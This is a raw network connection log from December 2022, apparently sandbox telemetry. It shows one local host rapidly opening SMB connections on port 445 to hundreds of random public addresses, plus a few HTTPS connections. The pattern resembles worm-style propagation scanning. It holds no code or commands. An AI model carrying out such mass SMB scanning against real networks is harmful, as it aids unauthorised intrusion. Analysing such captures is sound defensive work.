Dec 22, 2022 10:04:37.668546915 CET	51351	445	192.168.2.6	122.223.170.224
Dec 22, 2022 10:04:37.668663025 CET	51352	445	192.168.2.6	59.79.177.144
Dec 22, 2022 10:04:37.668694973 CET	51353	445	192.168.2.6	16.66.37.41
Dec 22, 2022 10:04:37.668812990 CET	51354	445	192.168.2.6	215.18.99.181
Dec 22, 2022 10:04:37.668946028 CET	51355	445	192.168.2.6	67.90.183.231
Dec 22, 2022 10:04:37.669060946 CET	51356	445	192.168.2.6	176.66.129.170
Dec 22, 2022 10:04:38.399076939 CET	51362	445	192.168.2.6	176.210.131.12
Dec 22, 2022 10:04:38.571227074 CET	51363	445	192.168.2.6	148.144.239.155
Dec 22, 2022 10:04:38.571810961 CET	51365	445	192.168.2.6	4.194.129.28
Dec 22, 2022 10:04:38.751152992 CET	51367	445	192.168.2.6	51.248.177.118
Dec 22, 2022 10:04:38.751492977 CET	51368	445	192.168.2.6	53.182.163.174
Dec 22, 2022 10:04:38.751635075 CET	51369	445	192.168.2.6	51.244.112.180
Dec 22, 2022 10:04:38.751718044 CET	51370	445	192.168.2.6	170.189.184.172
Dec 22, 2022 10:04:38.751818895 CET	51371	445	192.168.2.6	85.50.62.127
Dec 22, 2022 10:04:38.751931906 CET	51372	445	192.168.2.6	54.114.111.55
Dec 22, 2022 10:04:38.752000093 CET	51373	445	192.168.2.6	91.114.245.151
Dec 22, 2022 10:04:38.752106905 CET	51374	445	192.168.2.6	150.195.55.89
Dec 22, 2022 10:04:38.759675980 CET	51375	445	192.168.2.6	155.82.27.65
Dec 22, 2022 10:04:38.759944916 CET	51376	445	192.168.2.6	86.84.156.65
Dec 22, 2022 10:04:38.760111094 CET	51377	445	192.168.2.6	165.108.214.196
Dec 22, 2022 10:04:38.760283947 CET	51378	445	192.168.2.6	94.134.158.47
Dec 22, 2022 10:04:38.760534048 CET	51379	445	192.168.2.6	69.100.57.118
Dec 22, 2022 10:04:38.760678053 CET	51380	445	192.168.2.6	154.84.166.139
Dec 22, 2022 10:04:38.761370897 CET	51381	445	192.168.2.6	25.173.182.148
Dec 22, 2022 10:04:38.762157917 CET	51382	445	192.168.2.6	25.193.37.115
Dec 22, 2022 10:04:38.804704905 CET	51383	445	192.168.2.6	196.161.12.213
Dec 22, 2022 10:04:38.804877043 CET	51384	445	192.168.2.6	9.227.19.154
Dec 22, 2022 10:04:38.805047035 CET	51385	445	192.168.2.6	112.53.66.75
Dec 22, 2022 10:04:38.805085897 CET	51386	445	192.168.2.6	161.116.38.250
Dec 22, 2022 10:04:38.805214882 CET	51387	445	192.168.2.6	185.183.239.147
Dec 22, 2022 10:04:38.805303097 CET	51389	445	192.168.2.6	31.47.35.193
Dec 22, 2022 10:04:38.805324078 CET	51388	445	192.168.2.6	216.238.181.153
Dec 22, 2022 10:04:38.805466890 CET	51390	445	192.168.2.6	150.3.124.23
Dec 22, 2022 10:04:38.805532932 CET	51391	445	192.168.2.6	126.181.140.113
Dec 22, 2022 10:04:38.807141066 CET	51392	445	192.168.2.6	3.163.7.157
Dec 22, 2022 10:04:38.807310104 CET	51394	445	192.168.2.6	72.14.235.121
Dec 22, 2022 10:04:38.807327986 CET	51393	445	192.168.2.6	121.52.52.52
Dec 22, 2022 10:04:38.807442904 CET	51395	445	192.168.2.6	83.57.73.66
Dec 22, 2022 10:04:39.107614040 CET	445	51391	126.181.140.113	192.168.2.6
Dec 22, 2022 10:04:39.476871967 CET	51400	445	192.168.2.6	176.210.131.13
Dec 22, 2022 10:04:39.616801023 CET	51391	445	192.168.2.6	126.181.140.113
Dec 22, 2022 10:04:39.695575953 CET	51403	445	192.168.2.6	40.22.55.236
Dec 22, 2022 10:04:39.696043968 CET	51405	445	192.168.2.6	164.112.42.72
Dec 22, 2022 10:04:39.867626905 CET	51407	445	192.168.2.6	207.69.148.91
Dec 22, 2022 10:04:39.867804050 CET	51408	445	192.168.2.6	98.212.139.188
Dec 22, 2022 10:04:39.867966890 CET	51409	445	192.168.2.6	191.17.63.76
Dec 22, 2022 10:04:39.868074894 CET	51410	445	192.168.2.6	220.90.159.166
Dec 22, 2022 10:04:39.868295908 CET	51411	445	192.168.2.6	192.162.218.110
Dec 22, 2022 10:04:39.868535042 CET	51412	445	192.168.2.6	203.220.213.82
Dec 22, 2022 10:04:39.868771076 CET	51413	445	192.168.2.6	1.177.72.252
Dec 22, 2022 10:04:39.868791103 CET	51414	445	192.168.2.6	206.186.73.237
Dec 22, 2022 10:04:39.882961035 CET	51415	445	192.168.2.6	54.58.246.45
Dec 22, 2022 10:04:39.883030891 CET	51416	445	192.168.2.6	24.175.195.11
Dec 22, 2022 10:04:39.883152962 CET	51417	445	192.168.2.6	167.9.162.124
Dec 22, 2022 10:04:39.883198023 CET	51418	445	192.168.2.6	1.39.19.114
Dec 22, 2022 10:04:39.883315086 CET	51419	445	192.168.2.6	141.162.110.205
Dec 22, 2022 10:04:39.884399891 CET	51420	445	192.168.2.6	158.230.165.51
Dec 22, 2022 10:04:39.884490967 CET	51421	445	192.168.2.6	17.4.193.126
Dec 22, 2022 10:04:39.884605885 CET	51422	445	192.168.2.6	199.60.58.26
Dec 22, 2022 10:04:39.905370951 CET	445	51411	192.162.218.110	192.168.2.6
Dec 22, 2022 10:04:39.914087057 CET	51423	445	192.168.2.6	113.77.236.32
Dec 22, 2022 10:04:39.914459944 CET	51424	445	192.168.2.6	181.9.233.173
Dec 22, 2022 10:04:39.914531946 CET	51425	445	192.168.2.6	50.168.162.175
Dec 22, 2022 10:04:39.914623976 CET	51426	445	192.168.2.6	12.186.104.9
Dec 22, 2022 10:04:39.914825916 CET	51427	445	192.168.2.6	111.81.214.151
Dec 22, 2022 10:04:39.914994955 CET	51428	445	192.168.2.6	70.71.244.187
Dec 22, 2022 10:04:39.915128946 CET	51429	445	192.168.2.6	199.14.41.211
Dec 22, 2022 10:04:39.915199995 CET	51430	445	192.168.2.6	74.110.175.187
Dec 22, 2022 10:04:39.915307045 CET	51431	445	192.168.2.6	184.0.149.133
Dec 22, 2022 10:04:39.915987015 CET	51432	445	192.168.2.6	63.184.59.168
Dec 22, 2022 10:04:39.916698933 CET	51433	445	192.168.2.6	52.28.215.89
Dec 22, 2022 10:04:39.917356968 CET	51434	445	192.168.2.6	63.130.213.230
Dec 22, 2022 10:04:39.918114901 CET	51435	445	192.168.2.6	194.110.127.34
Dec 22, 2022 10:04:39.922535896 CET	445	51391	126.181.140.113	192.168.2.6
Dec 22, 2022 10:04:40.114794016 CET	445	51426	12.186.104.9	192.168.2.6
Dec 22, 2022 10:04:40.409722090 CET	445	51427	111.81.214.151	192.168.2.6
Dec 22, 2022 10:04:40.413744926 CET	51411	445	192.168.2.6	192.162.218.110
Dec 22, 2022 10:04:40.450397015 CET	445	51411	192.162.218.110	192.168.2.6
Dec 22, 2022 10:04:40.555161953 CET	51440	445	192.168.2.6	176.210.131.14
Dec 22, 2022 10:04:40.622863054 CET	51426	445	192.168.2.6	12.186.104.9
Dec 22, 2022 10:04:40.798326969 CET	445	51426	12.186.104.9	192.168.2.6
Dec 22, 2022 10:04:40.913907051 CET	51427	445	192.168.2.6	111.81.214.151
Dec 22, 2022 10:04:40.960722923 CET	51411	445	192.168.2.6	192.162.218.110
Dec 22, 2022 10:04:40.984642982 CET	51444	445	192.168.2.6	4.215.190.83
Dec 22, 2022 10:04:40.984787941 CET	51446	445	192.168.2.6	219.155.81.214
Dec 22, 2022 10:04:40.999074936 CET	445	51411	192.162.218.110	192.168.2.6
Dec 22, 2022 10:04:41.088706017 CET	51448	445	192.168.2.6	169.221.129.227
Dec 22, 2022 10:04:41.089184999 CET	51449	445	192.168.2.6	201.171.242.247
Dec 22, 2022 10:04:41.089675903 CET	51450	445	192.168.2.6	164.196.67.49
Dec 22, 2022 10:04:41.090264082 CET	51451	445	192.168.2.6	86.189.98.10
Dec 22, 2022 10:04:41.090435982 CET	51452	445	192.168.2.6	188.235.185.183
Dec 22, 2022 10:04:41.090605021 CET	51453	445	192.168.2.6	70.102.140.129
Dec 22, 2022 10:04:41.090642929 CET	51454	445	192.168.2.6	141.50.13.158
Dec 22, 2022 10:04:41.090734959 CET	51455	445	192.168.2.6	132.117.59.184
Dec 22, 2022 10:04:41.090837002 CET	51456	445	192.168.2.6	170.64.95.166
Dec 22, 2022 10:04:41.091093063 CET	51457	445	192.168.2.6	26.103.14.74
Dec 22, 2022 10:04:41.091094971 CET	51458	445	192.168.2.6	18.204.215.181
Dec 22, 2022 10:04:41.091226101 CET	51459	445	192.168.2.6	26.168.67.86
Dec 22, 2022 10:04:41.091356993 CET	51460	445	192.168.2.6	210.49.235.12
Dec 22, 2022 10:04:41.091478109 CET	51461	445	192.168.2.6	198.141.185.87
Dec 22, 2022 10:04:41.091595888 CET	51462	445	192.168.2.6	83.173.178.9
Dec 22, 2022 10:04:41.091703892 CET	51463	445	192.168.2.6	154.160.228.109
Dec 22, 2022 10:04:41.091831923 CET	51464	445	192.168.2.6	18.164.65.31
Dec 22, 2022 10:04:41.091875076 CET	51465	445	192.168.2.6	94.224.212.108
Dec 22, 2022 10:04:41.092360020 CET	51466	445	192.168.2.6	113.50.15.217
Dec 22, 2022 10:04:41.092951059 CET	51467	445	192.168.2.6	14.251.35.122
Dec 22, 2022 10:04:41.093415022 CET	51468	445	192.168.2.6	41.190.241.6
Dec 22, 2022 10:04:41.093864918 CET	51471	445	192.168.2.6	194.62.163.201
Dec 22, 2022 10:04:41.093905926 CET	51469	445	192.168.2.6	181.40.29.28
Dec 22, 2022 10:04:41.093905926 CET	51470	445	192.168.2.6	47.48.94.138
Dec 22, 2022 10:04:41.093954086 CET	51472	445	192.168.2.6	223.221.205.118
Dec 22, 2022 10:04:41.094131947 CET	51473	445	192.168.2.6	81.191.113.24
Dec 22, 2022 10:04:41.094137907 CET	51474	445	192.168.2.6	7.251.195.223
Dec 22, 2022 10:04:41.094234943 CET	51475	445	192.168.2.6	16.36.73.237
Dec 22, 2022 10:04:41.094336987 CET	51476	445	192.168.2.6	102.1.117.121
Dec 22, 2022 10:04:41.235624075 CET	445	51458	18.204.215.181	192.168.2.6
Dec 22, 2022 10:04:41.385668993 CET	445	51427	111.81.214.151	192.168.2.6
Dec 22, 2022 10:04:41.703082085 CET	51481	445	192.168.2.6	176.210.131.15
Dec 22, 2022 10:04:41.741964102 CET	51458	445	192.168.2.6	18.204.215.181
Dec 22, 2022 10:04:41.886662960 CET	445	51458	18.204.215.181	192.168.2.6
Dec 22, 2022 10:04:42.398353100 CET	51458	445	192.168.2.6	18.204.215.181
Dec 22, 2022 10:04:42.542982101 CET	445	51458	18.204.215.181	192.168.2.6
Dec 22, 2022 10:04:42.720619917 CET	51484	445	192.168.2.6	75.204.6.93
Dec 22, 2022 10:04:42.720804930 CET	51485	445	192.168.2.6	180.61.195.96
Dec 22, 2022 10:04:42.720916033 CET	51486	445	192.168.2.6	19.19.209.92
Dec 22, 2022 10:04:42.721021891 CET	51487	445	192.168.2.6	21.221.177.146
Dec 22, 2022 10:04:42.721122026 CET	51488	445	192.168.2.6	73.190.182.20
Dec 22, 2022 10:04:42.721417904 CET	51490	445	192.168.2.6	57.189.246.24
Dec 22, 2022 10:04:42.721432924 CET	51489	445	192.168.2.6	98.40.99.7
Dec 22, 2022 10:04:42.721594095 CET	51491	445	192.168.2.6	89.168.48.200
Dec 22, 2022 10:04:42.721673012 CET	51492	445	192.168.2.6	86.65.189.233
Dec 22, 2022 10:04:42.721868992 CET	51494	445	192.168.2.6	210.253.140.9
Dec 22, 2022 10:04:42.722035885 CET	51496	445	192.168.2.6	19.247.92.69
Dec 22, 2022 10:04:42.722132921 CET	51497	445	192.168.2.6	82.250.22.159
Dec 22, 2022 10:04:42.722215891 CET	51498	445	192.168.2.6	150.211.126.89
Dec 22, 2022 10:04:42.722321033 CET	51499	445	192.168.2.6	112.18.143.119
Dec 22, 2022 10:04:42.722399950 CET	51500	445	192.168.2.6	20.220.119.242
Dec 22, 2022 10:04:42.723061085 CET	51501	445	192.168.2.6	80.238.192.152
Dec 22, 2022 10:04:42.723510027 CET	51502	445	192.168.2.6	184.200.49.121
Dec 22, 2022 10:04:42.723777056 CET	51503	445	192.168.2.6	72.194.140.236
Dec 22, 2022 10:04:42.723931074 CET	51504	445	192.168.2.6	8.61.48.191
Dec 22, 2022 10:04:42.724045038 CET	51505	445	192.168.2.6	112.198.142.50
Dec 22, 2022 10:04:42.724164963 CET	51506	445	192.168.2.6	204.165.179.158
Dec 22, 2022 10:04:42.724293947 CET	51507	445	192.168.2.6	176.36.74.249
Dec 22, 2022 10:04:42.724390030 CET	51508	445	192.168.2.6	133.114.95.86
Dec 22, 2022 10:04:42.748971939 CET	51511	445	192.168.2.6	71.28.152.240
Dec 22, 2022 10:04:42.749576092 CET	51512	445	192.168.2.6	137.28.144.228
Dec 22, 2022 10:04:42.750216007 CET	51513	445	192.168.2.6	212.107.68.241
Dec 22, 2022 10:04:42.750818968 CET	51514	445	192.168.2.6	180.6.215.197
Dec 22, 2022 10:04:42.750988960 CET	51515	445	192.168.2.6	130.62.188.143
Dec 22, 2022 10:04:42.751089096 CET	51516	445	192.168.2.6	110.223.70.244
Dec 22, 2022 10:04:42.751234055 CET	51517	445	192.168.2.6	73.254.14.181
Dec 22, 2022 10:04:42.751290083 CET	51518	445	192.168.2.6	110.156.107.101
Dec 22, 2022 10:04:42.773926973 CET	51519	445	192.168.2.6	176.210.131.16
Dec 22, 2022 10:04:42.891421080 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:42.891491890 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:42.891591072 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:42.892615080 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:42.892657995 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:42.966084957 CET	445	51508	133.114.95.86	192.168.2.6
Dec 22, 2022 10:04:42.998017073 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:42.998123884 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.000647068 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.000688076 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.001296043 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.002715111 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.002748966 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.002777100 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.002787113 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.003010035 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.003024101 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.032624960 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.032722950 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.032897949 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.065587044 CET	51525	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:43.065630913 CET	443	51525	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:43.648467064 CET	51508	445	192.168.2.6	133.114.95.86
Dec 22, 2022 10:04:43.890379906 CET	445	51508	133.114.95.86	192.168.2.6
Dec 22, 2022 10:04:44.561058998 CET	51508	445	192.168.2.6	133.114.95.86
Dec 22, 2022 10:04:44.695765972 CET	51527	445	192.168.2.6	176.210.131.17
Dec 22, 2022 10:04:44.793277979 CET	51536	445	192.168.2.6	114.195.236.45
Dec 22, 2022 10:04:44.793889046 CET	51537	445	192.168.2.6	119.213.122.216
Dec 22, 2022 10:04:44.794487000 CET	51538	445	192.168.2.6	50.50.137.212
Dec 22, 2022 10:04:44.794946909 CET	51539	445	192.168.2.6	172.93.29.128
Dec 22, 2022 10:04:44.795146942 CET	51540	445	192.168.2.6	97.140.17.109
Dec 22, 2022 10:04:44.795510054 CET	51541	445	192.168.2.6	39.246.80.221
Dec 22, 2022 10:04:44.795686007 CET	51542	445	192.168.2.6	120.103.234.32
Dec 22, 2022 10:04:44.795810938 CET	51543	445	192.168.2.6	177.207.241.59
Dec 22, 2022 10:04:44.796294928 CET	51544	445	192.168.2.6	178.187.105.52
Dec 22, 2022 10:04:44.796467066 CET	51545	445	192.168.2.6	39.197.179.42
Dec 22, 2022 10:04:44.796587944 CET	51546	445	192.168.2.6	133.9.9.89
Dec 22, 2022 10:04:44.796698093 CET	51547	445	192.168.2.6	2.196.212.224
Dec 22, 2022 10:04:44.796920061 CET	51549	445	192.168.2.6	72.241.156.27
Dec 22, 2022 10:04:44.797063112 CET	51550	445	192.168.2.6	131.166.90.122
Dec 22, 2022 10:04:44.797147989 CET	51551	445	192.168.2.6	10.198.101.98
Dec 22, 2022 10:04:44.797317982 CET	51552	445	192.168.2.6	31.89.147.106
Dec 22, 2022 10:04:44.797437906 CET	51554	445	192.168.2.6	119.246.34.165
Dec 22, 2022 10:04:44.797651052 CET	51556	445	192.168.2.6	198.239.159.208
Dec 22, 2022 10:04:44.797766924 CET	51557	445	192.168.2.6	168.118.214.148
Dec 22, 2022 10:04:44.797832012 CET	51548	445	192.168.2.6	3.136.212.206
Dec 22, 2022 10:04:44.798060894 CET	51558	445	192.168.2.6	57.87.63.5
Dec 22, 2022 10:04:44.798295975 CET	51559	445	192.168.2.6	189.162.243.242
Dec 22, 2022 10:04:44.798355103 CET	51560	445	192.168.2.6	190.170.221.206
Dec 22, 2022 10:04:44.799633026 CET	51564	445	192.168.2.6	45.181.27.96
Dec 22, 2022 10:04:44.799637079 CET	51561	445	192.168.2.6	40.163.56.173
Dec 22, 2022 10:04:44.799635887 CET	51566	445	192.168.2.6	165.135.100.72
Dec 22, 2022 10:04:44.799645901 CET	51562	445	192.168.2.6	220.100.207.168
Dec 22, 2022 10:04:44.799645901 CET	51565	445	192.168.2.6	2.165.46.17
Dec 22, 2022 10:04:44.799702883 CET	51563	445	192.168.2.6	53.200.201.194
Dec 22, 2022 10:04:44.803235054 CET	445	51508	133.114.95.86	192.168.2.6
Dec 22, 2022 10:04:44.902164936 CET	445	51544	178.187.105.52	192.168.2.6
Dec 22, 2022 10:04:45.124275923 CET	51567	445	192.168.2.6	58.86.85.157
Dec 22, 2022 10:04:45.124648094 CET	51568	445	192.168.2.6	196.199.29.184
Dec 22, 2022 10:04:45.554867983 CET	51544	445	192.168.2.6	178.187.105.52
Dec 22, 2022 10:04:45.658596039 CET	445	51544	178.187.105.52	192.168.2.6
Dec 22, 2022 10:04:45.785353899 CET	51570	445	192.168.2.6	176.210.131.18
Dec 22, 2022 10:04:45.900022984 CET	51579	445	192.168.2.6	201.153.95.106
Dec 22, 2022 10:04:45.900577068 CET	51580	445	192.168.2.6	40.202.238.68
Dec 22, 2022 10:04:45.901194096 CET	51581	445	192.168.2.6	42.145.59.89
Dec 22, 2022 10:04:45.901779890 CET	51582	445	192.168.2.6	36.143.25.48
Dec 22, 2022 10:04:45.901988983 CET	51583	445	192.168.2.6	118.5.139.26
Dec 22, 2022 10:04:45.902303934 CET	51584	445	192.168.2.6	75.208.18.71
Dec 22, 2022 10:04:45.902371883 CET	51585	445	192.168.2.6	191.226.163.233
Dec 22, 2022 10:04:45.902551889 CET	51586	445	192.168.2.6	211.183.181.76
Dec 22, 2022 10:04:45.902668953 CET	51587	445	192.168.2.6	183.41.15.216
Dec 22, 2022 10:04:45.902801037 CET	51588	445	192.168.2.6	53.30.251.37
Dec 22, 2022 10:04:45.902885914 CET	51589	445	192.168.2.6	182.16.94.81
Dec 22, 2022 10:04:45.902970076 CET	51590	445	192.168.2.6	115.170.140.226
Dec 22, 2022 10:04:45.903001070 CET	51591	445	192.168.2.6	135.180.203.253
Dec 22, 2022 10:04:45.903105021 CET	51592	445	192.168.2.6	28.5.103.184
Dec 22, 2022 10:04:45.903163910 CET	51593	445	192.168.2.6	131.137.32.175
Dec 22, 2022 10:04:45.903292894 CET	51594	445	192.168.2.6	199.249.5.131
Dec 22, 2022 10:04:45.903357029 CET	51595	445	192.168.2.6	64.128.235.174
Dec 22, 2022 10:04:45.903450012 CET	51597	445	192.168.2.6	178.142.160.14
Dec 22, 2022 10:04:45.903631926 CET	51599	445	192.168.2.6	179.158.127.34
Dec 22, 2022 10:04:45.903755903 CET	51600	445	192.168.2.6	45.168.34.65
Dec 22, 2022 10:04:45.903769016 CET	51601	445	192.168.2.6	219.84.217.6
Dec 22, 2022 10:04:45.903892994 CET	51602	445	192.168.2.6	133.7.127.131
Dec 22, 2022 10:04:45.903981924 CET	51604	445	192.168.2.6	17.90.212.23
Dec 22, 2022 10:04:45.904036999 CET	51605	445	192.168.2.6	89.177.161.155
Dec 22, 2022 10:04:45.904061079 CET	51603	445	192.168.2.6	19.16.55.227
Dec 22, 2022 10:04:45.904119015 CET	51606	445	192.168.2.6	201.186.96.124
Dec 22, 2022 10:04:45.904258013 CET	51608	445	192.168.2.6	100.221.237.183
Dec 22, 2022 10:04:45.904268026 CET	51607	445	192.168.2.6	189.112.150.205
Dec 22, 2022 10:04:45.904355049 CET	51609	445	192.168.2.6	159.74.214.168
Dec 22, 2022 10:04:46.254169941 CET	51610	445	192.168.2.6	74.246.100.141
Dec 22, 2022 10:04:46.254937887 CET	51611	445	192.168.2.6	36.15.7.68
Dec 22, 2022 10:04:46.853121042 CET	51613	445	192.168.2.6	176.210.131.19
Dec 22, 2022 10:04:47.010304928 CET	51614	445	192.168.2.6	184.73.97.247
Dec 22, 2022 10:04:47.010428905 CET	51615	445	192.168.2.6	72.252.6.20
Dec 22, 2022 10:04:47.010536909 CET	51616	445	192.168.2.6	181.207.119.24
Dec 22, 2022 10:04:47.010644913 CET	51617	445	192.168.2.6	50.238.156.196
Dec 22, 2022 10:04:47.010765076 CET	51618	445	192.168.2.6	29.20.216.10
Dec 22, 2022 10:04:47.011050940 CET	51619	445	192.168.2.6	15.62.201.135
Dec 22, 2022 10:04:47.011193991 CET	51620	445	192.168.2.6	94.174.169.102
Dec 22, 2022 10:04:47.011271954 CET	51621	445	192.168.2.6	163.206.185.146
Dec 22, 2022 10:04:47.011368990 CET	51622	445	192.168.2.6	11.33.19.43
Dec 22, 2022 10:04:47.011473894 CET	51623	445	192.168.2.6	135.80.108.33
Dec 22, 2022 10:04:47.011686087 CET	51625	445	192.168.2.6	44.158.60.196
Dec 22, 2022 10:04:47.011776924 CET	51626	445	192.168.2.6	221.118.201.1
Dec 22, 2022 10:04:47.011873960 CET	51627	445	192.168.2.6	6.8.144.126
Dec 22, 2022 10:04:47.012154102 CET	51629	445	192.168.2.6	48.60.28.76
Dec 22, 2022 10:04:47.012346983 CET	51630	445	192.168.2.6	47.94.168.211
Dec 22, 2022 10:04:47.012453079 CET	51631	445	192.168.2.6	80.15.113.72
Dec 22, 2022 10:04:47.012556076 CET	51632	445	192.168.2.6	223.57.23.5
Dec 22, 2022 10:04:47.012655020 CET	51633	445	192.168.2.6	165.118.223.105
Dec 22, 2022 10:04:47.012774944 CET	51634	445	192.168.2.6	202.132.165.13
Dec 22, 2022 10:04:47.012860060 CET	51635	445	192.168.2.6	136.97.227.134
Dec 22, 2022 10:04:47.013041019 CET	51636	445	192.168.2.6	143.68.143.164
Dec 22, 2022 10:04:47.013281107 CET	51637	445	192.168.2.6	23.65.46.132
Dec 22, 2022 10:04:47.013364077 CET	51638	445	192.168.2.6	121.78.183.30
Dec 22, 2022 10:04:47.013469934 CET	51639	445	192.168.2.6	162.192.55.234
Dec 22, 2022 10:04:47.019509077 CET	51648	445	192.168.2.6	66.218.251.163
Dec 22, 2022 10:04:47.020661116 CET	51649	445	192.168.2.6	165.150.133.46
Dec 22, 2022 10:04:47.020766020 CET	51650	445	192.168.2.6	121.197.234.167
Dec 22, 2022 10:04:47.020967007 CET	51651	445	192.168.2.6	182.127.174.224
Dec 22, 2022 10:04:47.020983934 CET	51652	445	192.168.2.6	46.131.46.195
Dec 22, 2022 10:04:47.301460981 CET	445	51626	221.118.201.1	192.168.2.6
Dec 22, 2022 10:04:47.353357077 CET	51654	445	192.168.2.6	41.58.73.127
Dec 22, 2022 10:04:47.353365898 CET	51653	445	192.168.2.6	67.35.12.101
Dec 22, 2022 10:04:47.555047989 CET	49683	443	192.168.2.6	40.126.32.136
Dec 22, 2022 10:04:47.727025032 CET	49685	443	192.168.2.6	40.126.32.136
Dec 22, 2022 10:04:47.758187056 CET	49684	443	192.168.2.6	40.126.32.136
Dec 22, 2022 10:04:47.914849043 CET	51657	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:47.930092096 CET	51626	445	192.168.2.6	221.118.201.1
Dec 22, 2022 10:04:48.019639969 CET	445	51657	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.019778967 CET	51657	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.020025015 CET	51657	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.020785093 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.118597984 CET	51659	445	192.168.2.6	162.110.97.211
Dec 22, 2022 10:04:48.120333910 CET	51660	445	192.168.2.6	90.137.75.199
Dec 22, 2022 10:04:48.121587038 CET	51661	445	192.168.2.6	57.28.195.168
Dec 22, 2022 10:04:48.122114897 CET	51662	445	192.168.2.6	57.47.124.122
Dec 22, 2022 10:04:48.122755051 CET	51663	445	192.168.2.6	175.117.16.43
Dec 22, 2022 10:04:48.123043060 CET	51664	445	192.168.2.6	109.95.99.166
Dec 22, 2022 10:04:48.123230934 CET	51665	445	192.168.2.6	187.6.196.89
Dec 22, 2022 10:04:48.123394966 CET	51666	445	192.168.2.6	183.90.79.140
Dec 22, 2022 10:04:48.123522997 CET	51667	445	192.168.2.6	95.54.41.50
Dec 22, 2022 10:04:48.123622894 CET	51668	445	192.168.2.6	25.118.118.149
Dec 22, 2022 10:04:48.123826981 CET	51669	445	192.168.2.6	58.7.227.13
Dec 22, 2022 10:04:48.124012947 CET	51670	445	192.168.2.6	25.29.54.147
Dec 22, 2022 10:04:48.124161959 CET	51671	445	192.168.2.6	15.175.11.121
Dec 22, 2022 10:04:48.124288082 CET	51672	445	192.168.2.6	68.27.88.125
Dec 22, 2022 10:04:48.124444962 CET	51673	445	192.168.2.6	152.46.112.127
Dec 22, 2022 10:04:48.124816895 CET	51675	445	192.168.2.6	151.28.173.88
Dec 22, 2022 10:04:48.125207901 CET	51677	445	192.168.2.6	199.116.63.191
Dec 22, 2022 10:04:48.125355959 CET	51678	445	192.168.2.6	134.52.57.74
Dec 22, 2022 10:04:48.125575066 CET	51679	445	192.168.2.6	110.238.241.1
Dec 22, 2022 10:04:48.125762939 CET	51680	445	192.168.2.6	52.180.139.120
Dec 22, 2022 10:04:48.125926971 CET	51681	445	192.168.2.6	92.144.149.174
Dec 22, 2022 10:04:48.126043081 CET	51682	445	192.168.2.6	103.141.110.177
Dec 22, 2022 10:04:48.126172066 CET	51683	445	192.168.2.6	122.7.15.33
Dec 22, 2022 10:04:48.126302958 CET	51684	445	192.168.2.6	15.57.209.251
Dec 22, 2022 10:04:48.126486063 CET	51685	445	192.168.2.6	187.146.241.201
Dec 22, 2022 10:04:48.126683950 CET	51686	445	192.168.2.6	98.150.229.35
Dec 22, 2022 10:04:48.126801014 CET	51687	445	192.168.2.6	203.200.155.62
Dec 22, 2022 10:04:48.126924038 CET	51688	445	192.168.2.6	87.205.149.154
Dec 22, 2022 10:04:48.127470970 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.127588987 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.127624989 CET	445	51657	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.127676964 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.129091978 CET	51697	445	192.168.2.6	106.142.27.55
Dec 22, 2022 10:04:48.131611109 CET	445	51657	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.131697893 CET	51657	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.220122099 CET	445	51626	221.118.201.1	192.168.2.6
Dec 22, 2022 10:04:48.235507965 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.239504099 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.239628077 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.347621918 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.347770929 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.455576897 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.455765009 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.477686882 CET	51698	445	192.168.2.6	214.70.240.156
Dec 22, 2022 10:04:48.478367090 CET	51699	445	192.168.2.6	20.204.186.112
Dec 22, 2022 10:04:48.563858986 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.564006090 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.671596050 CET	445	51658	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:48.671672106 CET	51658	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:48.992686033 CET	49690	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:04:49.008306026 CET	49693	443	192.168.2.6	204.79.197.200
